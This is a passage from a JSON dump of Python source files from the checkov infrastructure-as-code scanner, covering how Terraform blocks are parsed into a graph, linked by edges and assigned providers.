Any]]], path: TFDefinitionKeyType, source: str\n    ) -> None:\n        self.source = source\n        if block_type in self._block_type_to_func:\n            self._block_type_to_func[block_type](self, blocks, path)\n\n    def _add_to_blocks(self, block: TerraformBlock) -> None:\n        if isinstance(block.path, str):\n            block.source_module_object = None\n            block.path = block.path\n        else:\n            block.source_module_object = block.path.tf_source_modules\n            block.path = block.path.file_path\n        self.blocks.append(block)\n        return\n\n    def _add_provider(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None:\n        for provider_dict in blocks:\n            for name in provider_dict:\n                attributes = provider_dict[name]\n                if START_LINE not in attributes or END_LINE not in attributes:\n                    return\n                provider_name = name\n                if isinstance(attributes, dict):\n                    alias = attributes.get(\"alias\")\n                    if alias:\n                        provider_name = f\"{provider_name}.{alias[0]}\"\n                provider_block = TerraformBlock(\n                    block_type=BlockType.PROVIDER,\n                    name=provider_name,\n                    config=provider_dict,\n                    path=path,\n                    attributes=attributes,\n                    source=self.source,\n                )\n                self._add_to_blocks(provider_block)\n\n    def _add_variable(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None:\n        for variable_dict in blocks:\n            for name in variable_dict:\n                attributes = variable_dict[name]\n                variable_block = TerraformBlock(\n                    block_type=BlockType.VARIABLE,\n                    name=name,\n                    config=variable_dict,\n                    path=path,\n                    attributes=attributes,\n                    source=self.source,\n                )\n                self._add_to_blocks(variable_block)\n\n    def _add_locals(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None:\n        for blocks_section in blocks:\n            for name in blocks_section:\n                if name in (START_LINE, END_LINE):\n                    # locals block generates single block sections for the start/end lines\n                    continue\n\n                local_block = TerraformBlock(\n                    block_type=BlockType.LOCALS,\n                    name=name,\n                    config={name: blocks_section[name]},\n                    path=path,\n                    attributes={name: blocks_section[name]},\n                    source=self.source,\n                )\n                self._add_to_blocks(local_block)\n\n    def _add_output(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None:\n        for output_dict in blocks:\n            for name, attributes in output_dict.items():\n                if isinstance(attributes, dict):\n                    output_block = TerraformBlock(\n                        block_type=BlockType.OUTPUT,\n                        name=name,\n                        config=output_dict,\n                        path=path,\n                        attributes={\"value\": attributes.get(\"value\")},\n                        source=self.source,\n                    )\n                    self._add_to_blocks(output_block)\n\n    def _add_module(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None:\n        for module_dict in blocks:\n            for name, attributes in module_dict.items():\n                if isinstance(attributes, dict):\n                    module_block = TerraformBlock(\n                        block_type=BlockType.MODULE,\n                        name=name,\n                        config=module_dict,\n                        path=path,\n                        attributes=attributes,\n                        source=self.source,\n                    )\n                    self._add_to_blocks(module_block)\n\n    def _alter_reserved_attributes(self, attributes: Dict[str, Any]) -> Dict[str, Any]:\n        \"\"\"\n        Reserved attributes (like `resource_type`) needs to be altered in order to be considered in scanning\n        \"\"\"\n        updated_attributes = pickle_deepcopy(attributes)\n        for reserved_attribute in reserved_attributes_to_scan:\n            if reserved_attribute in updated_attributes:\n                updated_attributes[wrap_reserved_attributes(reserved_attribute)] = updated_attributes[reserved_attribute]\n        return updated_attributes\n\n    def _add_resource(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None:\n        for resource_dict in blocks:\n            for resource_type, resources in resource_dict.items():\n                self.resources_types.add(resource_type)\n                for name, resource_conf in resources.items():\n                    attributes = self.clean_bad_characters(resource_conf)\n                    dynamic_attributes = None\n                    if not isinstance(attributes, dict):\n                        continue\n                    if self.render_dynamic_blocks_env_var.lower() == 'false':\n                        has_dynamic_block = False\n                    else:\n                        old_attributes = pickle_deepcopy(attributes)\n                        has_dynamic_block = handle_dynamic_values(attributes)\n                        dynamic_attributes = {k: attributes[k] for k in set(attributes) - set(old_attributes)}\n                    provisioner = attributes.get(\"provisioner\")\n                    if provisioner:\n                        self._handle_provisioner(provisioner, attributes)\n                    attributes = self._alter_reserved_attributes(attributes)\n                    attributes[CustomAttributes.RESOURCE_TYPE] = [resource_type]\n                    block_name = f\"{resource_type}.{name}\"\n                    resource_block = TerraformBlock(\n                        block_type=BlockType.RESOURCE,\n                        name=block_name,\n                        config=self.clean_bad_characters(resource_dict),\n                        path=path,\n                        attributes=attributes,\n                        id=block_name,\n                        source=self.source,\n                        has_dynamic_block=has_dynamic_block,\n                        dynamic_attributes=dynamic_attributes\n                    )\n                    self._add_to_blocks(resource_block)\n\n    @staticmethod\n    def clean_bad_characters(resource_conf: dict[str, Any]) -> dict[str, Any]:\n        try:\n            return cast(\"dict[str, Any]\", json.loads(json.dumps(resource_conf).replace(\"\\\\\\\\\", \"\\\\\")))\n        except json.JSONDecodeError:\n            return resource_conf\n\n    def _add_data(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None:\n        for data_dict in blocks:\n            for data_type in data_dict:\n                for name in data_dict[data_type]:\n                    block_name = f\"{data_type}.{name}\"\n                    data_block = TerraformBlock(\n                        block_type=BlockType.DATA,\n                        name=block_name,\n                        config=data_dict,\n                        path=path,\n                        attributes=data_dict.get(data_type, {}).get(name, {}),\n                        id=block_name,\n                        source=self.source,\n                    )\n                    self._add_to_blocks(data_block)\n\n    def _add_terraform_block(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None:\n        for terraform_dict in blocks:\n            terraform_block = TerraformBlock(\n                block_type=BlockType.TERRAFORM,\n                name=\"\",\n                config=terraform_dict,\n                path=path,\n                attributes=terraform_dict,\n                source=self.source,\n            )\n            self._add_to_blocks(terraform_block)\n\n    def _add_tf_var(self, blocks: list[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None:\n        for block in blocks:\n            for tf_var_name, attributes in block.items():\n                tfvar_block = TerraformBlock(\n                    block_type=BlockType.TF_VARIABLE,\n                    name=tf_var_name,\n                    config={tf_var_name: attributes},\n                    path=path,\n                    attributes=attributes,\n                    source=self.source,\n                )\n                self._add_to_blocks(tfvar_block)\n\n    @staticmethod\n    def _handle_provisioner(provisioner: List[Dict[str, Any]], attributes: Dict[str, Any]) -> None:\n        for pro in provisioner:\n            if pro.get(\"local-exec\"):\n                inner_attributes = TerraformBlock.get_inner_attributes(\"provisioner/local-exec\", pro[\"local-exec\"])\n                attributes.update(inner_attributes)\n            elif pro.get(\"remote-exec\"):\n                inner_attributes = TerraformBlock.get_inner_attributes(\"provisioner/remote-exec\", pro[\"remote-exec\"])\n                attributes.update(inner_attributes)\n        del attributes[\"provisioner\"]\n\n    def get_resources_types(self) -> List[str]:\n        return list(self.resources_types)\n\n    _block_type_to_func: Dict[str, _AddBlockTypeCallable] = {  # noqa: CCE003  # a static attribute\n        BlockType.DATA: _add_data,\n        BlockType.LOCALS: _add_locals,\n        BlockType.MODULE: _add_module,\n        BlockType.OUTPUT: _add_output,\n        BlockType.PROVIDER: _add_provider,\n        BlockType.RESOURCE: _add_resource,\n        BlockType.TERRAFORM: _add_terraform_block,\n        BlockType.TF_VARIABLE: _add_tf_var,\n        BlockType.VARIABLE: _add_variable,\n    }\n"
  },
  {
    "path": "checkov/terraform/graph_builder/graph_to_tf_definitions.py",
    "content": "from __future__ import annotations\n\nimport os\nimport logging\nfrom typing import List, Dict, Any, Tuple\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.terraform.modules.module_objects import TFDefinitionKey\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock\n\n\ndef convert_graph_vertices_to_tf_definitions(\n    vertices: List[TerraformBlock], root_folder: str\n) -> Tuple[Dict[TFDefinitionKey, Dict[str, Any]], Dict[str, Dict[str, Any]]]:\n    tf_definitions: Dict[TFDefinitionKey, Dict[str, Any]] = {}\n    breadcrumbs: Dict[str, Dict[str, Any]] = {}\n    for vertex in vertices:\n        if vertex.block_type == BlockType.TF_VARIABLE:\n            continue\n\n        if not os.path.isfile(vertex.path):\n            logging.debug(f'tried to convert vertex to tf_definitions but its path does not exist: {vertex}')\n            continue\n\n        tf_path = TFDefinitionKey(file_path=vertex.path)\n        if vertex.source_module_object:\n            tf_path = TFDefinitionKey(file_path=vertex.path, tf_source_modules=vertex.source_module_object)\n        tf_definitions.setdefault(tf_path, {}).setdefault(vertex.block_type, []).append(vertex.config)\n        add_breadcrumbs(vertex, breadcrumbs, f'/{os.path.relpath(vertex.path, root_folder)}')\n    return tf_definitions, breadcrumbs\n\n\ndef add_breadcrumbs(vertex: TerraformBlock, breadcrumbs: Dict[str, Dict[str, Any]], relative_block_path: str) -> None:\n    vertex_breadcrumbs = vertex.breadcrumbs\n    if vertex_breadcrumbs:\n        vertex_key = vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, vertex.name)\n        breadcrumbs.setdefault(relative_block_path, {})[vertex_key] = vertex_breadcrumbs\n"
  },
  {
    "path": "checkov/terraform/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport os\nfrom collections import defaultdict\nfrom functools import partial\nfrom pathlib import Path\nfrom typing import List, Optional, Union, Any, Dict, TypedDict, cast\n\nimport checkov.terraform.graph_builder.foreach.consts\nfrom checkov.common.graph.graph_builder import Edge\nfrom checkov.common.graph.graph_builder import reserved_attribute_names\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\nfrom checkov.common.graph.graph_builder.local_graph import LocalGraph\nfrom checkov.common.graph.graph_builder.utils import calculate_hash, join_trimmed_strings, filter_sub_keys, \\\n    update_dictionary_attribute\nfrom checkov.common.runners.base_runner import strtobool\nfrom checkov.common.typing import TFDefinitionKeyType\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.terraform.graph_builder.foreach.builder import ForeachBuilder\nfrom checkov.terraform.graph_builder.foreach.consts import VIRTUAL_RESOURCE\nfrom checkov.terraform.graph_builder.variable_rendering.vertex_reference import TerraformVertexReference\nfrom checkov.terraform.modules.module_objects import TFModule, TFDefinitionKey\nfrom checkov.terraform.context_parsers.registry import parser_registry\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock\nfrom checkov.terraform.graph_builder.graph_components.generic_resource_encryption import ENCRYPTION_BY_RESOURCE_TYPE\nfrom checkov.terraform.graph_builder.graph_components.module import Module\nfrom checkov.terraform.graph_builder.utils import (\n    get_attribute_is_leaf,\n    get_referenced_vertices_in_value,\n    attribute_has_nested_attributes,\n    remove_index_pattern_from_str, )\nfrom checkov.terraform.graph_builder.foreach.utils import get_terraform_foreach_or_count_key, \\\n    get_sanitized_terraform_resource_id\nfrom checkov.terraform.graph_builder.utils import is_local_path\nfrom checkov.terraform.graph_builder.variable_rendering.renderer import TerraformVariableRenderer, \\\n    LEFT_BRACKET_WITH_QUOTATION, RIGHT_BRACKET_WITH_QUOTATION, LEFT_BRACKET, RIGHT_BRACKET, DOLLAR_PREFIX, RIGHT_CURLY, LEFT_CURLY\nfrom checkov.common.util.consts import RESOLVED_MODULE_ENTRY_NAME\n\nMODULE_RESERVED_ATTRIBUTES = (\"source\", \"version\")\nCROSS_VARIABLE_EDGE_PREFIX = '[cross-variable] '\nS3_BUCKET_RESOURCE_NAME = \"aws_s3_bucket\"\nS3_BUCKET_REFERENCE_ATTRIBUTE = \"bucket\"\n\n\nclass Undetermined(TypedDict):\n    module_vertex_id: int\n    attribute_name: str\n    variable_vertex_id: int\n\n\nclass S3ConnectedResources(TypedDict):\n    bucket_resource_index: int | None\n    referenced_vertices: List[Edge]\n\n\nclass TerraformLocalGraph(LocalGraph[TerraformBlock]):\n    def __init__(self, module: Module) -> None:\n        super().__init__()\n        self.vertices: list[TerraformBlock] = []\n        self.module = module\n        self.map_path_to_module: Dict[str, List[int]] = {}\n        self.relative_paths_cache: dict[tuple[str, str], str] = {}\n        self.abspath_cache: Dict[str, str] = {}\n        self.dirname_cache: Dict[str, str] = {}\n        self.vertices_by_module_dependency_by_name: Dict[TFModule | None, Dict[str, Dict[str, List[int]]]] = defaultdict(partial(defaultdict, partial(defaultdict, list)))\n        self.vertices_by_module_dependency: Dict[TFModule | None, Dict[str, List[int]]] = defaultdict(partial(defaultdict, list))\n        self.enable_foreach_handling = strtobool(os.getenv('CHECKOV_ENABLE_FOREACH_HANDLING', 'True'))\n        self.enable_modules_foreach_handling = strtobool(os.getenv('CHECKOV_ENABLE_MODULES_FOREACH_HANDLING', 'True'))\n        self.enable_datas_foreach_handling = strtobool(os.getenv('CHECKOV_ENABLE_DATAS_FOREACH_HANDLING', 'False'))\n        self.foreach_blocks: Dict[str, List[int]] = {BlockType.RESOURCE: [], BlockType.MODULE: [], BlockType.DATA: []}\n\n        # Important for foreach performance, see issue https://github.com/bridgecrewio/checkov/issues/6068\n        self._vertex_path_to_realpath_cache: Dict[str, str] = {}\n\n    def build_graph(self, render_variables: bool) -> None:\n        self._create_vertices()\n        logging.info(f\"[TerraformLocalGraph] created {len(self.vertices)} vertices\")\n        self._build_edges()\n        logging.info(f\"[TerraformLocalGraph] created {len(self.edges)} edges\")\n        if (self.enable_foreach_handling or self.enable_modules_foreach_handling) \\\n                and (self.foreach_blocks[BlockType.RESOURCE] or self.foreach_blocks[BlockType.MODULE] or self.foreach_blocks[BlockType.DATA]):\n            try:\n                logging.info('[TerraformLocalGraph] start handling foreach')\n                foreach_builder = ForeachBuilder(self)\n                foreach_builder.handle(self.foreach_blocks)\n                self._arrange_graph_data()\n                self._build_edges()\n                logging.info(f\"[TerraformLocalGraph] finished handling foreach values with {len(self.vertices)} vertices and {len(self.edges)} edges\")\n            except Exception as e:\n                logging.info(f'Failed to process foreach handling, error: {str(e)}')\n\n        self.calculate_encryption_attribute(ENCRYPTION_BY_RESOURCE_TYPE)\n        self._connect_module_provider()\n        if render_variables:\n            logging.info(f\"Rendering variables, graph has {len(self.vertices)} vertices and {len(self.edges)} edges\")\n            renderer = TerraformVariableRenderer(self)\n            renderer.render_variables_from_local_graph()\n            self.update_vertices_fields()\n            if strtobool(os.getenv(\"CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES\", \"True\")):\n                # experimental flag on building cross variable edges for terraform graph\n                logging.info(\"Building cross variable edges\")\n                edges_count = len(self.edges)\n                self._build_cross_variable_edges()\n                logging.info(f\"Found {len(self.edges) - edges_count} cross variable edges\")\n            # building S3 edges by name for terraform graph\n            logging.info(\"Building S3 edges name references\")\n            edges_count = len(self.edges)\n            self._build_s3_name_reference_edges()\n            logging.info(f\"Found {len(self.edges) - edges_count} S3 name references edges\")\n        else:\n            self.update_vertices_fields()\n\n    def update_vertices_fields(self) -> None:\n        # Important to keep those 2 functions together, as the first affects the calculation of the second\n        self._update_vertices_breadcrumbs_and_module_connections()\n        self._update_nested_modules_address()\n        try:\n            self._add_provider_attr_to_resources()\n        except Exception as e:\n            logging.info(f'Failed to add provider attributes to resources, error: {str(e)}')\n\n    def _create_vertices(self) -> None:\n        logging.info(\"Creating vertices\")\n        self.vertices = [None] * len(self.module.blocks)  # type:ignore[list-item]  # are correctly set in the next lines\n        for i, block in enumerate(self.module.blocks):\n            self.vertices[i] = block\n            self._add_block_data_to_graph(i, block)\n            if self.enable_foreach_handling and (\n                    checkov.terraform.graph_builder.foreach.consts.FOREACH_STRING in block.attributes or checkov.terraform.graph_builder.foreach.consts.COUNT_STRING in block.attributes) \\\n                    and block.block_type in (BlockType.MODULE, BlockType.RESOURCE, BlockType.DATA):\n                self.foreach_blocks[block.block_type].append(i)\n\n    def _add_block_data_to_graph(self, idx: int, block: TerraformBlock) -> None:\n        self.vertices_by_block_type[block.block_type].append(idx)\n        self.vertices_block_name_map[block.block_type][block.name].append(idx)\n\n        if block.block_type == BlockType.MODULE:\n            # map between file paths and module vertices indexes from that file\n            self.map_path_to_module.setdefault(block.path, []).append(idx)\n\n        self.vertices_by_module_dependency[block.source_module_object][block.block_type].append(idx)\n        self.vertices_by_module_dependency_by_name[block.source_module_object][block.block_type][block.name].append(idx)\n\n        self.in_edges[idx] = []\n        self.out_edges[idx] = []\n\n    def _add_provider_attr_to_resources(self) -> None:\n        \"\"\"\n            Assign provider attributes to resource vertices in the Terraform configuration.\n\n            This function iterates through all vertices, and for each vertex that is of the\n            `RESOURCE` block type, it attempts to determine and assign the appropriate\n            provider based on the vertex's attributes and the module's temporary Terraform\n            definitions.\n\n            The function performs the following steps:\n            1. Iterates over each vertex in `self.vertices`.\n            2. Checks if the vertex's `block_type` is `RESOURCE`.\n            3. Determines the path for the Terraform definition.\n            4. Checks for the presence of a provider in the vertex's attributes.\n            5. If no provider is found, checks in the module's temporary Terraform definition.\n            6. If still no provider is found, iterates through nested modules to find a provider.\n            7. Assigns the provider fields to the vertex once a provider is determined.\n        \"\"\"\n        for vertex in self.vertices:\n            if vertex.block_type == BlockType.RESOURCE:\n                path_for_tf_definition = TFDefinitionKey(file_path=vertex.path, tf_source_modules=vertex.source_module_object)\n                if BlockType.PROVIDER in vertex.attributes:\n                    provider = self._get_the_default_provider(vertex.attributes[BlockType.PROVIDER], path_for_tf_definition)\n                    self._assign_provider_fields(vertex, provider)\n                elif BlockType.PROVIDER in self.module.temp_tf_definition.get(path_for_tf_definition, {}):\n                    provider_name = self._get_the_default_provider(self.module.temp_tf_definition.get(path_for_tf_definition, {}).get(BlockType.PROVIDER, []), path_for_tf_definition, is_same_file=True)\n                    v_name = vertex.name.split('.')\n                    provider_name = vertex.config[v_name[0]][v_name[1]][CustomAttributes.TF_RESOURCE_ADDRESS].replace(vertex.name, provider_name)\n                    self._assign_provider_fields(vertex, provider_name)\n                else:\n                    while path_for_tf_definition.tf_source_modules:\n                        if self.module.temp_tf_definition and path_for_tf_definition.tf_source_modules and BlockType.PROVIDER in self.module.temp_tf_definition.get(path_for_tf_definition, ''):\n                            module = [m for m in self.module.temp_tf_definition.get(path_for_tf_definition).get(BlockType.MODULE) if list(m.keys())[0] == vertex.source_module_object.name]  # type:ignore\n                            provider_name = self._get_the_default_provider(self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path), {}).get(BlockType.PROVIDER, []), path_for_tf_definition, module=module)\n                            self._assign_provider_fields(vertex, provider_name)\n                            break\n                        elif path_for_tf_definition.tf_source_modules and BlockType.PROVIDER in self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path), {}):\n                            if vertex.source_module_object and vertex.source_module_object.nested_tf_module:\n                                module = [m for m in self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path)).get(BlockType.MODULE) if list(m.keys())[0] == vertex.source_module_object.nested_tf_module.name]  # type:ignore\n                                provider_name = self._get_the_default_provider(self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path), {}).get(BlockType.PROVIDER, []), path_for_tf_definition, module=module)\n                                self._assign_provider_fields(vertex, provider_name)\n                            else:\n                                module = [m for m in self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path)).get(BlockType.MODULE) if list(m.keys())[0] == vertex.source_module_object.name]  # type:ignore\n                                provider_name = self._get_the_default_provider(self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path), {}).get(BlockType.PROVIDER, []), path_for_tf_definition, module=module)\n                                self._assign_provider_fields(vertex, provider_name)\n                            break\n                        else:\n                            path_for_tf_definition = TFDefinitionKey(tf_source_modules=path_for_tf_definition.tf_source_modules.nested_tf_module, file_path=path_for_tf_definition.tf_source_modules.path)\n\n    @staticmethod\n    def _assign_provider_fields(vertex: TerraformBlock, provider_name: str) -> None:\n        vertex.attributes[CustomAttributes.PROVIDER_ADDRESS] = provider_name\n        v_name = vertex.name.split('.')\n        vertex.config[v_name[0]][v_name[1]][CustomAttributes.PROVIDER_ADDRESS] = provider_name\n\n    def _get_provider_address(self, path_for_tf_definition: TFDefinitionKeyType) -> list[int] | None:\n        if isinstance(path_for_tf_definition, TFDefinitionKey):\n            return self.vertices_by_module_dependency[path_for_tf_definition.tf_source_modules].get(BlockType.PROVIDER)\n        return None\n\n    def _get_the_default_provider(\n            self,\n            providers: list[dict[str, dict[str, Any]] | str],\n            path_for_tf_definition: TFDefinitionKeyType,\n            module: Optional[list[dict[str, Any]]] = None,\n            is_same_file: bool = False\n    ) -> str:\n        provider_address = self._get_provider_address(path_for_tf_definition)\n        if module and len(module) > 0:\n            module_providers = module[0][list(module[0].keys())[0]].get('providers', [''])[0]\n            if module_providers:\n                for _, m_alias in module_providers.items():\n                    if not provider_address:\n                        return cast(str, module_providers[list(module_providers.keys())[0]].replace(DOLLAR_PREFIX, \"\").replace(LEFT_CURLY, \"\").replace(RIGHT_CURLY, \"\"))\n                    else:\n                        for p_address in provider_address:\n                            if m_alias.replace(DOLLAR_PREFIX, \"\").replace(LEFT_CURLY, \"\").replace(RIGHT_CURLY, \"\") == self.vertices[p_address].name:\n                                return cast(str, self.vertices[p_address].config[list(self.vertices[p_address].config)[0]].get(CustomAttributes.TF_RESOURCE_ADDRESS))\n\n        if isinstance(providers[0], str):\n            for provider in providers:\n                if provider_address:\n                    for address in provider_address:\n                        if self.vertices[address].name == provider:\n                            return cast(str, self.vertices[address].config[list(self.vertices[address].config)[0]].get(CustomAttributes.TF_RESOURCE_ADDRESS))\n        else:\n            for provider in providers:\n                provider_name = list(provider.keys())[0]  # type:ignore\n                if 'alias' not in provider[provider_name]:\n                    if provider_address and not is_same_file:\n                        for p_address in provider_address:\n                            if self.vertices[p_address].name == provider_name:\n                                return cast(str, self.vertices[p_address].config[list(self.vertices[p_address].config.keys())[0]][CustomAttributes.TF_RESOURCE_ADDRESS])\n                    return f'{provider_name}.default'\n        return ''\n\n    def _arrange_graph_data(self) -> None:\n        # reset all the relevant data\n        self.vertices_by_block_type = defaultdict(list)\n        self.vertices_block_name_map = defaultdict(partial(defaultdict, list))\n        self.map_path_to_module = {}\n        self.vertices_by_module_dependency = defaultdict(partial(defaultdict, list))\n        self.vertices_by_module_dependency_by_name = defaultdict(partial(defaultdict, partial(defaultdict, list)))\n        self.edges = []\n        for i in range(len(self.vertices)):\n            self.out_edges[i] = []\n            self.in_edges[i] = []\n\n        for i, block in enumerate(self.vertices):\n            self._add_block_data_to_graph(i, block)\n\n    def _get_aliases(self) -> Dict[str, Dict[str, str]]:\n        \"\"\"\n        :return aliases: map between alias names that are found inside the blocks and the block type their aliased to.\n        \"\"\"\n        return {\n            vertex.name: {CustomAttributes.BLOCK_TYPE: vertex.block_type}\n            for vertex in self.vertices\n            if \"alias\" in vertex.attributes\n        }\n\n    def get_module_vertices_mapping(self) -> None:\n        \"\"\"\n        For each vertex, if it's originated in a module import, add to the vertex the index of the\n        matching module vertex as 'source_module'\n        \"\"\"\n        module_lookup = {}\n        for module_idx in self.vertices_by_block_type[BlockType.MODULE]:\n            module_vertex = self.vertices[module_idx]\n            composed_key = (\n                module_vertex.name,\n                module_vertex.path,\n                module_vertex.source_module_object,\n                module_vertex.for_each_index,\n            )\n            module_lookup[composed_key] = module_idx\n\n        # Match vertices using the lookup\n        for vertex in self.vertices:\n            source_module_object = vertex.source_module_object\n            if not source_module_object or not source_module_object.name:\n                continue\n            composed_key = (\n                source_module_object.name,\n                source_module_object.path,\n                source_module_object.nested_tf_module,\n                source_module_object.foreach_idx,\n            )\n            module_vertice_idx = module_lookup.get(composed_key)\n            if module_vertice_idx is not None:\n                vertex.source_module.add(module_vertice_idx)\n        return\n\n    def _build_edges(self) -> None:\n        logging.info(\"Creating edges\")\n        self.get_module_vertices_mapping()\n        aliases = self._get_aliases()\n        resources_types = self.get_resources_types_in_graph()\n        for origin_node_index, vertex in enumerate(self.vertices):\n            self._build_edges_for_vertex(origin_node_index, vertex, aliases, resources_types)\n            self._build_virtual_resources_edges(origin_node_index, vertex)\n\n    def _build_edges_for_vertex(self, origin_node_index: int, vertex: TerraformBlock, aliases: Dict[str, Dict[str, str]],\n                                resources_types: List[str], cross_variable_edges: bool = False,\n                                referenced_modules: Optional[List[Dict[str, Any]]] = None) -> None:\n\n        attribute_is_leaf = get_attribute_is_leaf(vertex)\n        for attribute_key, attribute_value in vertex.attributes.items():\n            if attribute_key in reserved_attribute_names or attribute_has_nested_attributes(\n                    attribute_key, vertex.attributes, attribute_is_leaf\n            ):\n                continue\n            referenced_vertices = get_referenced_vertices_in_value(\n                value=attribute_value,\n                aliases=aliases,\n                resources_types=resources_types,\n            )\n            for vertex_reference in referenced_vertices:\n                # for certain blocks such as data and resource, the block name is composed of several parts.\n                # the purpose of the loop is to avoid not finding the node if the name has several parts\n                sub_values = [remove_index_pattern_from_str(sub_value) for sub_value in vertex_reference.sub_parts]\n                for i in range(len(sub_values)):\n                    reference_name = join_trimmed_strings(char_to_join=\".\", str_lst=sub_values, num_to_trim=i)\n                    source_module_object = vertex.source_module_object\n                    if referenced_modules is not None:\n                        for module in referenced_modules:\n                            referenced_module_idx = module.get(\"idx\")\n                            referenced_module_path = module.get(\"path\")\n                            if referenced_module_path is None:\n                                dest_node_index = -1\n                            else:\n                                dest_node_index = self._find_vertex_index_relative_to_path(\n                                    vertex_reference.block_type, reference_name, referenced_module_path,\n                                    referenced_module_idx,\n                                    source_module_object=source_module_object\n                                )\n                            self._create_edge_from_reference(attribute_key, origin_node_index, dest_node_index,\n                                                             sub_values, vertex_reference, cross_variable_edges)\n                    if vertex.source_module_object:\n                        dest_node_index = self._find_vertex_index_relative_to_path(\n                            vertex_reference.block_type, reference_name, vertex.path,\n                            source_module_object=source_module_object\n                        )\n                        if dest_node_index == -1:\n                            dest_node_index = self._find_vertex_index_relative_to_path(\n                                vertex_reference.block_type, reference_name, vertex.path,\n                                source_module_object=source_module_object\n                            )\n                    else:\n                        dest_node_index = self._find_vertex_index_relative_to_path(\n                            vertex_reference.block_type, reference_name, vertex.path,\n                            source_module_object=source_module_object, origin_vertex_index=origin_node_index\n                        )\n                    if dest_node_index > -1 and origin_node_index > -1:\n                        self._create_edge_from_reference(attribute_key, origin_node_index, dest_node_index, sub_values,\n                                                         vertex_reference, cross_variable_edges)\n                        break\n\n        if vertex.block_type == BlockType.MODULE and vertex.attributes.get('source') \\\n                and isinstance(vertex.attributes['source'][0], str):\n            dest_module_path = self._get_dest_module_path(\n                curr_module_dir=self.get_dirname(vertex.path),\n                dest_module_source=vertex.attributes[\"source\"][0],\n                dest_module_version=vertex.attributes.get(\"version\", [\"latest\"])[0]\n            )\n            target_variables = self._get_target_variables(vertex, dest_module_path)\n            for attribute in vertex.attributes.keys():\n                if attribute in MODULE_RESERVED_ATTRIBUTES:\n                    continue\n                target_variable = next((v for v in target_variables if self.vertices[v].name == attribute), None)\n                if target_variable is not None:\n                    self.create_edge(target_variable, origin_node_index, \"default\", cross_variable_edges)\n        elif vertex.block_type == BlockType.TF_VARIABLE:\n            # Match tfvars based on the directory for which they were loaded\n            target_variable = None\n            ldir = vertex.attributes.get('load_dir', None)\n            if ldir:\n                for index in self.vertices_block_name_map.get(BlockType.VARIABLE, {}).get(vertex.name, []):\n                    if self.get_dirname(self.vertices[index].path) == ldir:\n                        target_variable = index\n                        break\n\n                if target_variable is not None:\n                    self.create_edge(target_variable, origin_node_index, 'default', cross_variable_edges)\n            return\n\n    def _create_edge_from_reference(self, attribute_key: Any, origin_node_index: int, dest_node_index: int,\n                                    sub_values: List[Any], vertex_reference: TerraformVertexReference,\n                                    cross_variable_edges: bool) -> None:\n        if dest_node_index > -1 and origin_node_index > -1:\n            if vertex_reference.block_type == BlockType.MODULE:\n                try:\n                    self._connect_module(\n                        sub_values, attribute_key, self.vertices[dest_node_index],\n                        origin_node_index,\n                        cross_variable_edges\n                    )\n                except Exception:\n                    logging.warning(\n                        f\"Module {self.vertices[dest_node_index]} does not have source attribute, skipping\"\n                    )\n            else:\n                self.create_edge(origin_node_index, dest_node_index, attribute_key,\n                                 cross_variable_edges)\n\n    def _get_target_variables(self, vertex: TerraformBlock, dest_module_path: str) -> list[int]:\n        target_path = get_vertex_as_tf_module(vertex)\n        return [\n            index\n            for index in self.vertices_by_module_dependency.get(target_path, {}).get(BlockType.VARIABLE, [])\n            if self.get_dirname(self.vertices[index].path) == dest_module_path\n        ]\n\n    def _connect_module_provider(self) -> None:\n        for origin_node_index, referenced_vertices in self.out_edges.items():\n            if not referenced_vertices:\n                continue\n            vertex = self.vertices[origin_node_index]\n            # if we have an edge of module->provider we need to connect that modules' resources to the provider\n            if vertex.block_type == BlockType.MODULE:\n                try:\n                    tf_def = vertex.config.get(vertex.name, {}).get(RESOLVED_MODULE_ENTRY_NAME)\n                    if tf_def and isinstance(tf_def, list):\n                        if isinstance(tf_def[0], str):\n                            definition = json.loads(tf_def[0])\n                            tf_module = TFDefinitionKey.from_json(definition).tf_source_modules\n                        else:\n                            tf_module = tf_def[0].tf_source_modules\n                        # get all resources connected to module\n                        resources = self.vertices_by_module_dependency[tf_module].get(\"resource\")\n                        if resources:\n                            # search for provider vertices in the referenced vertices\n                            for e in referenced_vertices:\n                                if self.vertices[e.dest].block_type == BlockType.PROVIDER:\n                                    for resource in resources:\n                                        self.create_edge(resource, e.dest, e.label)\n                except Exception as e:\n                    logging.warning(f\"Failed in connecting module resources to provider due to {e}\")\n\n    def _build_cross_variable_edges(self) -> None:\n        aliases = self._get_aliases()\n        resources_types = self.get_resources_types_in_graph()\n        for origin_node_index, referenced_vertices in self.out_edges.items():\n            vertex = self.vertices[origin_node_index]\n            if vertex.block_type == BlockType.RESOURCE and \\\n                    any(self.vertices[e.dest].block_type != BlockType.RESOURCE for e in referenced_vertices):\n                modules = 